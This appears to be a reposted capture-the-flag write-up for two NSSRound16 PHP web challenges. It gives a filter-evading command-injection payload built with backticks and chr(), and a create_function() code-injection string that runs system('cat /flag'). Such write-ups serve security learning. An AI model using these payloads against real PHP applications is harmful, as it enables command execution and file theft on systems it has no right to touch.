ToB企服应用市场:ToB评测及商务社交产业平台

标题: NSSRound16 [打印本页]

作者: 拉不拉稀肚拉稀    时间: 2024-4-23 23:09
标题: NSSRound16
NSSRound16

RCE但是没有完全RCE

审题


审核代码,简单的md5绕过。
知识点

md5绕过,命令组合,shell里``中的内容会被当成代码执行
知识详解

解题



审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数
使用dir观察题目内容

找到flag,cat命令被禁言使用more命令。
并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。
所以构造的cmd为
  1. cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`
复制代码

了解过PHP特性吗

审题


进行代码审计后,总的来说就是让checker1,2,3,4都为ture
知识点

php函数的应用。
解题

得到下一页目录


注意create_function()函数
  1. $B='echo $A;'
  2. create_function($A,$B) //的输出结果相当于
  3.    
  4.    
  5.    
  6.    function lambda_1($A){
  7.     echo $A;
  8. }
复制代码
所以,传入nss=return;}system('cat /flag');/*&shell=时
相当于:
  1. creat_function($shell,$nss);
  2. function lambda_1($shell,$nss){
  3.     return;}system('cat /flag');/*
  4. }
复制代码
所以,得到flag。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4